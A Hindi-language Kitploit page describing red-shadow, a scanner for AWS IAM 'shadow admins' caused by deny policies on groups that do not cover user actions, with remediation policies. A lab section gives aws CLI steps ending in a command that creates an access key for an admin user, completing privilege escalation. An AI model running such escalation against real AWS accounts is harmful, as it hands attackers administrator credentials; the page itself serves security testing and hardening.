Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
red-shadow — AWS IAM कॉन्फ़िगरेशन में शैडो एडमिन की खोज करता है, गलत कॉन्फ़िगर किए गए डिनी नीतियों का पता लगाकर जो समूहों पर उपयोगकर्ता कार्यों को प्रतिबंधित करने में विफल रहती हैं, जिससे विशेषाधिकार वृद्धि का पता लगाना और सुधार सक्षम होता है। | Kitploit
उपकरण/GitHubGitHub/lightspin-tech/red-shadow
क्लाउड इन्फ्रास्ट्रक्चर सुरक्षाभेद्यता स्कैनरपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षापहचान और एक्सेस प्रबंधन (IAM)गलत कॉन्फ़िगरेशन
GitHublightspin-tech/red-shadow

red-shadow

AWS IAM कॉन्फ़िगरेशन में शैडो एडमिन की खोज करता है, गलत कॉन्फ़िगर किए गए डिनी नीतियों का पता लगाकर जो समूहों पर उपयोगकर्ता कार्यों को प्रतिबंधित करने में विफल रहती हैं, जिससे विशेषाधिकार वृद्धि का पता लगाना और सुधार सक्षम होता है।

रिपॉजिटरी देखें
95225 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

red-shadow

Red-Shadow

Lightspin AWS IAM भेद्यता स्कैनर

विवरण

AWS IAM कॉन्फ़िगरेशन को स्कैन करें shadow admins के लिए, जो Lightspin की सुरक्षा अनुसंधान टीम द्वारा खोजी गई गलत कॉन्फ़िगर की गई डिनी नीतियों पर आधारित हैं जो समूहों में उपयोगकर्ताओं को प्रभावित नहीं करती हैं।

यह उपकरण निम्नलिखित IAM ऑब्जेक्ट्स में गलत कॉन्फ़िगरेशन का पता लगाता है:

  • प्रबंधित नीतियाँ

  • उपयोगकर्ताओं की इनलाइन नीतियाँ

  • समूहों की इनलाइन नीतियाँ

  • भूमिकाओं की इनलाइन नीतियाँ

अनुसंधान सारांश

समूहों पर लागू डिनी नीतियों के लिए AWS IAM मूल्यांकन तर्क उसी तरह काम नहीं करता जैसे अधिकांश सुरक्षा इंजीनियर अन्य प्राधिकरण तंत्रों के साथ उपयोग कर सकते हैं।

मान लीजिए कि एक समूह संसाधन वाली नीति में एक स्पष्ट डिनी है। उस स्थिति में, यह केवल समूह कार्रवाइयों को प्रभावित करेगा, उपयोगकर्ता कार्रवाइयों को नहीं, और यदि वे प्रक्रिया को उदाहरण के लिए Active Directory के समान मानते हैं, तो संगठनों को गलत कॉन्फ़िगरेशन और कमजोरियों के लिए खोल देता है।

भेद्य json नीति का उदाहरण:

root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "ProtectManagersByDeny",
            "Effect": "Deny",
            "Action": "*",
            "Resource": "arn:aws:iam::123456789999:group/managers"
        }
    ]
}

इस उदाहरण में, नीति को उस नीति से जुड़े उपयोगकर्ताओं, समूहों या भूमिकाओं द्वारा managers नामक समूह की ओर की गई किसी भी iam कार्रवाई को अस्वीकार करना चाहिए।

सच तो यह है कि iam:ChangePassword जैसी सरल IAM कार्रवाई काम करेगी क्योंकि डिनी नीति अप्रभावी है।

पूर्ण सुरक्षा अनुसंधान ब्लॉग का लिंक

पता लगाना

AWS IAM में उपयोगकर्ता ऑब्जेक्ट कार्रवाइयों और समूह ऑब्जेक्ट कार्रवाइयों के बीच स्पष्ट अलगाव है।

निम्नलिखित सूची में उपयोगकर्ता ऑब्जेक्ट कार्रवाइयाँ शामिल हैं जिन्हें उपकरण डिनी नीतियों (वाइल्डकार्ड के अलावा) पर स्कैन कर रहा है जो समूहों को प्रभावित करती हैं:

root@kitploit:~
AWS_USER_ACTIONS = ["iam:CreateUser",
                     "iam:GetUser",
                     "iam:UpdateUser",
                     "iam:DeleteUser",
                     "iam:GetUserPolicy",
                     "iam:PutUserPolicy",
                     "iam:DeleteUserPolicy",
                     "iam:ListUserPolicies",
                     "iam:AttachUserPolicy",
                     "iam:DetachUserPolicy",
                     "iam:ListAttachedUserPolicies",
                     "iam:SimulatePrincipalPolicy",
                     "iam:GetContextKeysForPrincipalPolicy",
                     "iam:TagUser",
                     "iam:UpdateSSHPublicKey",
                     "iam:UntagUser",
                     "iam:GetSSHPublicKey",
                     "iam:ListUserTags",
                     "iam:DeleteSSHPublicKey",
                     "iam:GetLoginProfile",
                     "iam:GetAccessKeyLastUsed",
                     "iam:UpdateLoginProfile",
                     "iam:UploadSigningCertificate",
                     "iam:DeleteLoginProfile",
                     "iam:ListSigningCertificates",
                     "iam:CreateLoginProfile",
                     "iam:UpdateSigningCertificate",
                     "iam:EnableMFADevice",
                     "iam:DeleteSigningCertificate",
                     "iam:ResyncMFADevice",
                     "iam:ListServiceSpecificCredentials",
                     "iam:ListMFADevices",
                     "iam:ResetServiceSpecificCredential",
                     "iam:DeactivateMFADevice",
                     "iam:CreateServiceSpecificCredential",
                     "iam:ChangePassword",
                     "iam:UpdateServiceSpecificCredential",
                     "iam:CreateAccessKey",
                     "iam:DeleteServiceSpecificCredential",
                     "iam:ListAccessKeys",
                     "iam:PutUserPermissionsBoundary",
                     "iam:UpdateAccessKey",
                     "iam:DeleteUserPermissionsBoundary",
                     "iam:DeleteAccessKey",
                     "iam:ListGroupsForUser",
                     "iam:ListSSHPublicKeys",
                     "iam:UploadSSHPublicKey"]

ऊपर उल्लिखित कई उपयोगकर्ता ऑब्जेक्ट कार्रवाइयाँ आसानी से विशेषाधिकार वृद्धि या खाते से समझौता कर सकती हैं, जैसे व्यवस्थापक का पासवर्ड रीसेट करना, रूट खाते के MFA को निष्क्रिय करना, और अधिक।

आवश्यकताएँ

Red-Shadow Python 3 और Boto3 के साथ बनाया गया है।

उपकरण को आवश्यकता है:

  • OS Env में Access Key वाला IAM उपयोगकर्ता
  • स्कैनर चलाने के लिए IAM उपयोगकर्ता के लिए पर्याप्त अनुमतियाँ
  • Python 3 और pip3 स्थापित

स्थापना

root@kitploit:~
sudo git clone https://github.com/lightspin-tech/red-shadow.git
cd red-shadow
pip3 install -r requirements.txt

उपयोग

root@kitploit:~
python3 red-shadow.py

परिणामों का विश्लेषण करें

परिणाम किसी भी IAM ऑब्जेक्ट का पता लगाते हैं जो AWS में ऐसे प्राधिकरण बाईपास के लिए भेद्य है।

परिणाम आउटपुट का उदाहरण:

root@kitploit:~
++ Starting Red-Shadow ++

++ AWS IAM Vulnerability Scanner
++ Red Shadow scans for shadow admins in AWS IAM based on misconfigured deny policies not affecting users in groups

Step 1: Searching for IAM Group misconfigurations in managed policies
Found potential misconfiguration at arn:aws:iam::123456789999:policy/ProtectManagers
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 2: Searching for IAM Group misconfigurations in Users inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 3: Searching for IAM Group misconfigurations in Groups inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 4: Searching for IAM Group misconfigurations in Roles inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Done

इस कंसोल आउटपुट में, हम देख सकते हैं कि हमारी ProtectManagers डिनी नीति अप्रभावी है और ऊपर उल्लिखित विशेषाधिकार वृद्धि जैसे हमलों के लिए भेद्य है।

सिमुलेशन और शोषण

IAM भेद्यता को मान्य करने और शोषण चलाने के लिए आप निम्नलिखित प्रवाह चला सकते हैं:

  1. aws iam create-group --group-name managers
  2. aws iam attach-group-policy --group-name managers --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
  3. aws iam create-user --user-name JohnAdmin
  4. aws iam add-user-to-group --user-name JohnAdmin --group-name managers
  5. नीचे दी गई सामग्री के साथ एक policy.json फ़ाइल बनाएं (खाता आईडी बदलें):
root@kitploit:~
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "ProtectManagersByDeny",
      "Effect": "Deny",
      "Action": "*",
      "Resource": "arn:aws:iam::123456789999:group/managers"
    }
  ]
}
  1. aws iam create-policy --policy-name ProtectManagers --policy-document file://policy.json
  2. aws iam create-group --group-name backend-dev
  3. aws iam create-user --user-name BobAttacker
  4. aws iam add-user-to-group --user-name BobAttacker --group-name backend-dev
  5. aws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/ProtectManagers
  6. backend-dev समूह के लिए उपयोगकर्ताओं को access keys बनाने की अनुमति देने के लिए policy_iam.json फ़ाइल में एक नीति बनाएं:
root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": "iam:CreateAccessKey",
            "Resource": "*"
        }
    ]
}
  1. aws iam create-policy --policy-name devCreateAccessKeys --policy-document file://policy_iam.json
  2. aws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/devCreateAccessKeys
  3. हमारे कॉन्फ़िगरेशन को इसका उपयोग करके मान्य करें: aws iam list-attached-group-policies --group backend-dev
  4. aws iam create-access-key --user-name BobAttacker
  5. नई access key और secret को aws प्रोफ़ाइल (लोकल वातावरण) में कॉन्फ़िगर करें
  6. अब उपयोगकर्ता BobAttacker सभी संसाधनों के लिए access key बना सकता है लेकिन उसके पास managers समूह के लिए एक स्पष्ट डिनी है।

भेद्यता का शोषण करने के लिए:

aws iam create-access-key --user-name JohnAdmin --profile BobAttacker

विशेषाधिकार वृद्धि पूर्ण!

उपचार

एक बार जब आप प्राधिकरण बाईपास के लिए भेद्य नीतियाँ पा लेते हैं, तो भेद्यता को ठीक करने और नीति को सुधारने के दो संभावित तरीके हैं:

विकल्प 1: अप्रभावी IAM कार्रवाइयों से बचने के लिए समूहों के बजाय संसाधन फ़ील्ड में सभी प्रासंगिक उपयोगकर्ताओं को परिभाषित करें, और सभी समूह कार्रवाइयों को अस्वीकार करें, जैसे निम्नलिखित उदाहरण:

root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "DenySpecificUserActions",
            "Effect": "Deny",
            "Action": [
                "iam:CreateLoginProfile",
                "iam:ChangePassword",
                "iam:CreateAccessKey"
            ],
            "Resource": [
                "arn:aws:iam::123456789999:user/[email protected]",
                "arn:aws:iam::123456789999:user/[email protected]",
                "arn:aws:iam::123456789999:user/[email protected]"
            ]
        },
        {
            "Sid": "DenyAllGroupActions",
            "Effect": "Deny",
            "Action": "*",
            "Resource": "arn:aws:iam::123456789999:group/managers"
        }
    ]
}

विकल्प 2: नीति में iam:ResourceTag के साथ शर्त का उपयोग करें, जैसे निम्नलिखित उदाहरण:

root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Deny",
            "Action": [
                "iam:CreateLoginProfile",
                "iam:ChangePassword",
                "iam:CreateAccessKey"
            ],
            "Resource": "*",
            "Condition": {
                "ForAnyValue:StringEquals": {
                    "iam:ResourceTag/group": "managers"
                }
            }
        }
    ]
}

संपर्क करें

यह अनुसंधान Lightspin की सुरक्षा अनुसंधान टीम द्वारा किया गया था। अधिक जानकारी के लिए, हमसे [email protected] पर संपर्क करें।

लाइसेंस

यह रिपॉजिटरी Apache License 2.0 के अंतर्गत उपलब्ध है।

टूल डाउनलोड करें